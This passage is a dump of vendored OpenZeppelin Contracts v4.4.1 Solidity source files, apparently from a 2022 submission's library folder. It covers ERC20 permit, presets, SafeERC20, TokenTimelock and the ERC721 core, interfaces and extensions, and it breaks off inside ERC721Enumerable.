FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC20/extensions/draft-IERC20Permit.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*/
interface IERC20Permit {
/**
* @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,
* given ``owner``'s signed approval.
*
* IMPORTANT: The same issues {IERC20-approve} has related to transaction
* ordering also apply here.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `deadline` must be a timestamp in the future.
* - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
* over the EIP712-formatted function arguments.
* - the signature must use ``owner``'s current nonce (see {nonces}).
*
* For more information on the signature format, see the
* https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
* section].
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
/**
* @dev Returns the current nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
/**
* @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC20/presets/ERC20PresetFixedSupply.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/presets/ERC20PresetFixedSupply.sol)
pragma solidity ^0.8.0;
import "../extensions/ERC20Burnable.sol";
/**
* @dev {ERC20} token, including:
*
* - Preminted initial supply
* - Ability for holders to burn (destroy) their tokens
* - No access control mechanism (for minting/pausing) and hence no governance
*
* This contract uses {ERC20Burnable} to include burn capabilities - head to
* its documentation for details.
*
* _Available since v3.4._
*/
contract ERC20PresetFixedSupply is ERC20Burnable {
/**
* @dev Mints `initialSupply` amount of token and transfers them to `owner`.
*
* See {ERC20-constructor}.
*/
constructor(
string memory name,
string memory symbol,
uint256 initialSupply,
address owner
) ERC20(name, symbol) {
_mint(owner, initialSupply);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC20/presets/ERC20PresetMinterPauser.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/presets/ERC20PresetMinterPauser.sol)
pragma solidity ^0.8.0;
import "../ERC20.sol";
import "../extensions/ERC20Burnable.sol";
import "../extensions/ERC20Pausable.sol";
import "../../../access/AccessControlEnumerable.sol";
import "../../../utils/Context.sol";
/**
* @dev {ERC20} token, including:
*
* - ability for holders to burn (destroy) their tokens
* - a minter role that allows for token minting (creation)
* - a pauser role that allows to stop all token transfers
*
* This contract uses {AccessControl} to lock permissioned functions using the
* different roles - head to its documentation for details.
*
* The account that deploys the contract will be granted the minter and pauser
* roles, as well as the default admin role, which will let it grant both minter
* and pauser roles to other accounts.
*/
contract ERC20PresetMinterPauser is Context, AccessControlEnumerable, ERC20Burnable, ERC20Pausable {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
/**
* @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the
* account that deploys the contract.
*
* See {ERC20-constructor}.
*/
constructor(string memory name, string memory symbol) ERC20(name, symbol) {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(MINTER_ROLE, _msgSender());
_setupRole(PAUSER_ROLE, _msgSender());
}
/**
* @dev Creates `amount` new tokens for `to`.
*
* See {ERC20-_mint}.
*
* Requirements:
*
* - the caller must have the `MINTER_ROLE`.
*/
function mint(address to, uint256 amount) public virtual {
require(hasRole(MINTER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have minter role to mint");
_mint(to, amount);
}
/**
* @dev Pauses all token transfers.
*
* See {ERC20Pausable} and {Pausable-_pause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function pause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to pause");
_pause();
}
/**
* @dev Unpauses all token transfers.
*
* See {ERC20Pausable} and {Pausable-_unpause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function unpause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to unpause");
_unpause();
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override(ERC20, ERC20Pausable) {
super._beforeTokenTransfer(from, to, amount);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC20/utils/SafeERC20.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC20/utils/TokenTimelock.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/TokenTimelock.sol)
pragma solidity ^0.8.0;
import "./SafeERC20.sol";
/**
* @dev A token holder contract that will allow a beneficiary to extract the
* tokens after a given release time.
*
* Useful for simple vesting schedules like "advisors get all of their tokens
* after 1 year".
*/
contract TokenTimelock {
using SafeERC20 for IERC20;
// ERC20 basic token contract being held
IERC20 private immutable _token;
// beneficiary of tokens after they are released
address private immutable _beneficiary;
// timestamp when token release is enabled
uint256 private immutable _releaseTime;
constructor(
IERC20 token_,
address beneficiary_,
uint256 releaseTime_
) {
require(releaseTime_ > block.timestamp, "TokenTimelock: release time is before current time");
_token = token_;
_beneficiary = beneficiary_;
_releaseTime = releaseTime_;
}
/**
* @return the token being held.
*/
function token() public view virtual returns (IERC20) {
return _token;
}
/**
* @return the beneficiary of the tokens.
*/
function beneficiary() public view virtual returns (address) {
return _beneficiary;
}
/**
* @return the time when the tokens are released.
*/
function releaseTime() public view virtual returns (uint256) {
return _releaseTime;
}
/**
* @notice Transfers tokens held by timelock to beneficiary.
*/
function release() public virtual {
require(block.timestamp >= releaseTime(), "TokenTimelock: current time is before release time");
uint256 amount = token().balanceOf(address(this));
require(amount > 0, "TokenTimelock: no tokens to release");
token().safeTransfer(beneficiary(), amount);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC721/ERC721.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC721/IERC721.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC721/IERC721Receiver.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC721/README.adoc
================================================
= ERC 721
[.readme-notice]
NOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/token/erc721
This set of interfaces, contracts, and utilities are all related to the https://eips.ethereum.org/EIPS/eip-721[ERC721 Non-Fungible Token Standard].
TIP: For a walk through on how to create an ERC721 token read our xref:ROOT:erc721.adoc[ERC721 guide].
The EIP consists of three interfaces, found here as {IERC721}, {IERC721Metadata}, and {IERC721Enumerable}. Only the first one is required in a contract to be ERC721 compliant. The core interface and the metadata extension are both implemented in {ERC721}. The enumerable extension is provided separately in {ERC721Enumerable}.
Additionally, {IERC721Receiver} can be used to prevent tokens from becoming forever locked in contracts. Imagine sending an in-game item to an exchange address that can't send it back!. When using <>, the token contract checks to see that the receiver is an {IERC721Receiver}, which implies that it knows how to handle {ERC721} tokens. If you're writing a contract that needs to receive {ERC721} tokens, you'll want to include this interface.
Additionally there are multiple custom extensions, including:
* designation of addresses that can pause token transfers for all users ({ERC721Pausable}).
* destruction of own tokens ({ERC721Burnable}).
NOTE: This core set of contracts is designed to be unopinionated, allowing developers to access the internal functions in ERC721 (such as <>) and expose them as external functions in the way they prefer. On the other hand, xref:ROOT:erc721.adoc#Presets[ERC721 Presets] (such as {ERC721PresetMinterPauserAutoId}) are designed using opinionated patterns to provide developers with ready to use, deployable contracts.
== Core
{{IERC721}}
{{IERC721Metadata}}
{{IERC721Enumerable}}
{{ERC721}}
{{ERC721Enumerable}}
{{IERC721Receiver}}
== Extensions
{{ERC721Pausable}}
{{ERC721Burnable}}
{{ERC721URIStorage}}
== Presets
These contracts are preconfigured combinations of the above features. They can be used through inheritance or as models to copy and paste their source code.
{{ERC721PresetMinterPauserAutoId}}
== Utilities
{{ERC721Holder}}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC721/extensions/ERC721Burnable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Burnable.sol)
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "../../../utils/Context.sol";
/**
* @title ERC721 Burnable Token
* @dev ERC721 Token that can be irreversibly burned (destroyed).
*/
abstract contract ERC721Burnable is Context, ERC721 {
/**
* @dev Burns `tokenId`. See {ERC721-_burn}.
*
* Requirements:
*
* - The caller must own `tokenId` or be an approved operator.
*/
function burn(uint256 tokenId) public virtual {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved");
_burn(tokenId);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC721/extensions/ERC721Enumerable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
